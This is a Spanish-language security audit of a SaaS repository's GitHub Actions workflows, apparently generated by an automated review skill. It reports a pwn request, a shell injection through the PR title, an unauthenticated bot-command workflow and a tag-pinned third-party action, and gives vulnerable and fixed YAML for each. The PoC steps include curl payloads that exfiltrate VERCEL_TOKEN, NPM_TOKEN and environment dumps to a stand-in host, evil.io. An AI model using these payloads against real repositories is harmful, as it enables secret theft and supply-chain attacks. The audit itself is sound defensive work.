GitHub Actions Security Review

Auditoría: NutriFlow SaaS

Repositorio: nutriflow-org/nutriflow-app Fecha: 2026-06-18 Workflows auditados: 4 Auditor: Skill revision-seguridad-github-actions Modelo de amenaza: Atacante externo (sin acceso escritura)
2
Critical
1
High
1
Medium
2
Cleared
4
Workflows
Hallazgos confirmados
GHA-001 Pwn Request — Ejecución de código arbitrario en deploy-preview.yml Critical HIGH confidence
Workflow: .github/workflows/deploy-preview.yml:8 Trigger: pull_request_target

Entry point

Cualquier usuario externo abre un PR desde un fork al repositorio principal.

Execution mechanism

actions/checkout clona el HEAD del fork (ref: ${{ github.event.pull_request.head.sha }}), luego ejecuta npm run build del código del atacante.

Payload

Script malicioso en package.json → scripts.build del fork: exfiltra $VERCEL_TOKEN y $NPM_TOKEN a un servidor controlado.

Impact

Robo de VERCEL_TOKEN y NPM_TOKEN → despliegue de código malicioso en producción + publicación de paquetes npm envenenados.

Token VERCEL_TOKEN robado Token NPM_TOKEN robado Ejecución de código en runner Supply chain attack

PoC — Pasos del atacante

  1. Fork de nutriflow-org/nutriflow-app a cuenta personal evil-actor/nutriflow-app.
  2. Modificar package.json: "build": "curl -s https://evil.io/c?t=$VERCEL_TOKEN$NPM_TOKEN".
  3. Abrir PR desde el fork al repo principal. pull_request_target se dispara en el contexto del repositorio base (con acceso a secretos).
  4. El runner ejecuta actions/checkout ref: <fork-sha>, obteniendo el package.json del atacante.
  5. El step npm run build exfiltra ambos tokens al servidor del atacante.
  6. Con VERCEL_TOKEN: redesplegamos a producción con código malicioso. Con NPM_TOKEN: publicamos versión comprometida del paquete interno.
.github/workflows/deploy-preview.yml (vulnerable) ⚠ VULNERABLE
on:
  pull_request_target:   # ← ejecuta en contexto base, con acceso a secrets
    types: [opened, synchronize]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← checkout del fork
      - run: npm ci
      - run: npm run build   # ← ejecuta código del atacante
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}  # ← token expuesto
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}        # ← token expuesto

Fix recomendado

deploy-preview.yml (corregido) ✓ SEGURO
on:
  pull_request:           # ← usar pull_request (fork context, no secrets)
    types: [opened, synchronize]
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read      # ← mínimos permisos
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4 SHA-pinned
      - run: npm ci
      - run: npm run build  # fork context: sin acceso a secrets de producción

Alternativamente, si se requiere despliegue, usar el patrón workflow_run: build sin secretos en pull_request, upload artifact, trigger separado en workflow con workflow_run que descarga el artefact y usa secretos.

GHA-002 Inyección de expresión — RCE vía título de PR en ci.yml Critical HIGH confidence
Workflow: .github/workflows/ci.yml:34 Trigger: pull_request_target

Entry point

Atacante externo abre PR con título especialmente crafteado.

Execution mechanism

${{ github.event.pull_request.title }} expandido directamente en un bloque run: → inyección de comandos shell.

Payload

Título del PR: fix: bug"; curl https://evil.io/x?t=$(cat /home/runner/.config/gh/hosts.yml | base64); echo "

Impact

Ejecución arbitraria de comandos en el runner. Exfiltración de GITHUB_TOKEN y secretos disponibles en el entorno.

RCE en runner GITHUB_TOKEN robado Lectura de secretos del entorno

PoC — Pasos del atacante

  1. Abrir PR con título: feat: improvement"; env | base64 | curl -d @- https://evil.io/dump; echo "done
  2. El step run: echo "Processing PR: ${{ github.event.pull_request.title }}" evalúa el título como comandos shell.
  3. El runner ejecuta env | base64, volcando todas las variables de entorno (incluyendo ACTIONS_RUNTIME_TOKEN).
  4. Con ACTIONS_RUNTIME_TOKEN, el atacante puede acceder al cache de artefactos y en ciertos contextos escalar a secretos adicionales.
.github/workflows/ci.yml:34 (vulnerable) ⚠ VULNERABLE
    steps:
      - name: Log PR info
        run: |
          echo "Processing PR: ${{ github.event.pull_request.title }}"
          echo "Branch: ${{ github.event.pull_request.head.ref }}"
          # ↑ ambas expresiones son controladas por el atacante
          # title y head.ref pueden contener comandos shell arbitrarios

Fix recomendado

ci.yml (corregido — env var wrapping) ✓ SEGURO
    steps:
      - name: Log PR info
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_BRANCH: ${{ github.event.pull_request.head.ref }}
        run: |
          echo "Processing PR: $PR_TITLE"
          echo "Branch: $PR_BRANCH"
          # ↑ el valor se pasa como variable de entorno, no se expande en shell

Regla: nunca expandir ${{ }} directamente en bloques run: cuando el valor sea controlado por el atacante. Usar siempre variables de entorno intermedias.

GHA-003 Ejecución de comandos no autorizada — bot-commands.yml sin verificación de autor High HIGH confidence
Workflow: .github/workflows/bot-commands.yml:12 Trigger: issue_comment

Entry point

Cualquier usuario autenticado en GitHub puede publicar un comentario en cualquier issue o PR.

Execution mechanism

El workflow parsea el cuerpo del comentario y ejecuta /deploy staging o /test e2e sin verificar author_association.

Payload

Comentario en cualquier issue: /deploy staging → dispara despliegue a entorno staging con credenciales reales.

Impact

Cualquier usuario puede desencadenar despliegues no autorizados o correr la suite de tests e2e con coste asociado.

Despliegue no autorizado Abuso de recursos CI/CD Posible exfiltración indirecta

PoC — Pasos del atacante

  1. El atacante crea una cuenta de GitHub gratuita.
  2. Navega a cualquier issue abierto en nutriflow-org/nutriflow-app.
  3. Publica el comentario: /deploy staging.
  4. El workflow bot-commands.yml se activa y ejecuta el despliegue a staging con VERCEL_TOKEN.
  5. El atacante puede repetir en bucle para agotar minutos de Actions gratuitos o desplegar código roto.
.github/workflows/bot-commands.yml:12 (vulnerable) ⚠ VULNERABLE
on:
  issue_comment:
    types: [created]
jobs:
  handle-command:
    if: startsWith(github.event.comment.body, '/')  # ← sin verificar quién
    # FALTA: if: github.event.comment.author_association == 'MEMBER'
    #        o similar check de permisos
    runs-on: ubuntu-latest
    steps:
      - name: Parse and execute command
        run: |
          COMMAND=$(echo "${{ github.event.comment.body }}" | head -1)
          # ↑ además, inyección potencial de $COMMAND en scripts

Fix recomendado

bot-commands.yml (corregido) ✓ SEGURO
jobs:
  handle-command:
    if: |
      startsWith(github.event.comment.body, '/') &&
      (github.event.comment.author_association == 'MEMBER' ||
       github.event.comment.author_association == 'OWNER' ||
       github.event.comment.author_association == 'COLLABORATOR')
    runs-on: ubuntu-latest
    steps:
      - name: Parse command
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
        run: |
          COMMAND=$(echo "$COMMENT_BODY" | head -1)  # env var, no expansion
Requiere verificación
ID Workflow Descripción Qué verificar
GHA-004 release.yml Acción de tercero cycjimmy/semantic-release-action@v3 referenciada por tag, no por SHA inmutable. Si el tag es reasignado por el atacante de la cadena de suministro, el workflow ejecutaría código arbitrario con acceso a NPM_TOKEN. Verificar si el tag v3 apunta a un commit con SHA verificado. Confirmar si el repositorio upstream tiene protección de tags. Si no, es HIGH.
Revisados y despejados
.github/workflows/ci.yml (checks de linting)
Los steps de ESLint y type-check usan pull_request (no _target) con token read-only. Las expresiones en if: y with: son evaluadas por el runtime de Actions, no por el shell.
.github/workflows/release.yml (trigger schedule)
El trigger schedule y workflow_dispatch de release sólo son accionables por usuarios con acceso de escritura. Fuera del modelo de amenaza de atacante externo. Secrets accesibles sólo en ese contexto.
Prioridad de remediación
Prioridad Finding Acción inmediata Esfuerzo
1 — CRÍTICO GHA-001 Pwn Request Cambiar pull_request_targetpull_request o aplicar patrón workflow_run. Rotar VERCEL_TOKEN y NPM_TOKEN inmediatamente. 30 min
2 — CRÍTICO GHA-002 Expression Injection Envolver todas las expresiones con datos de usuario en variables env: antes del bloque run:. Auditar todos los workflows por el mismo patrón. 1 hora
3 — ALTO GHA-003 Bot sin autenticación Añadir check de author_association en la condición if: del job. 15 min
4 — MEDIO GHA-004 Supply chain (tag) Pinear cycjimmy/semantic-release-action al SHA del commit actual. Activar Dependabot para actualizar SHAs. 30 min